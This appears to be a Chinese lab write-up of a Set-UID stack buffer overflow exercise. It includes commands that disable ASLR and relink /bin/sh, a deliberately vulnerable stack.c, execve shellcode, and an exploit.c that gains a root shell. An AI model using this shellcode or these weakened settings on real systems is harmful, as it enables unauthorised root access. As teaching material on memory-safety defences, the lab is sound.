缓冲区溢出

2024-01-13 18:03:22

实验准备

本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。输入命令安装一些用于编译 32 位 C 程序的软件包：

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

安装结果如图：

（1）Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

（2）此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。
linux 系统中，/bin/sh 是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。下面的指令描述了如何设置 zsh 程序：

sudo su 
cd /bin 
rm sh 
ln -s zsh sh 
exit

（3）输入命令 linux32 进入32位linux环境。此时你会发现，命令行用起来没那么爽了，比如不能tab补全了。
输入/bin/bash 使用bash：

（4）一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
观察以下代码：

#include <stdio.h> 
int main() 
{ 
char *name[2]; 
name[0] = "/bin/sh"; 
name[1] = NULL; 
execve(name[0], name, NULL); 
}

本次实验的 shellcode，就是刚才代码的汇编版本
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
在 /tmp 目录下新建一个 stack.c 文件：

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
int bof(char *str) 
{ 
char buffer[12]; 
strcpy(buffer, str); 
return 1; 
} 
int main(int argc, char **argv) 
{ 
char str[517]; 
FILE *badfile; 
badfile = fopen("badfile", "r"); 
fread(str, sizeof(char), 517, badfile); 
bof(str); 
printf("Returned Properly\n"); 
return 1; 
}

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置 SET-UID。命令如下：

sudo su 
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack 
exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件，输入如下内容：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
    strcpy(buffer + 100, shellcode);   
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址，输入命令进入 gdb 调试：

gdb stack 
disass main

esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。
接下来：

# 设置断点 
b *0x080484ee 
r 
i r $esp

最后获得的这个 0xffffcfb0 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode);
我们计算 shellcode 的地址

0xffffcfb0 + 0x64 = 0xffffd014

现在修改 exploit.c 文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff，注意顺序是反的。
然后，编译 exploit.c 程序：

先运行攻击程序 exploit，再运行漏洞程序 stack，观察结果：

whoami 是输入的命令，不是输出结果。
可见，通过攻击，获得了root 权限！
通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制，重复用 exploit 程序攻击 stack 程序，观察能否攻击成功，能否获得root权限。

没有获得root权限

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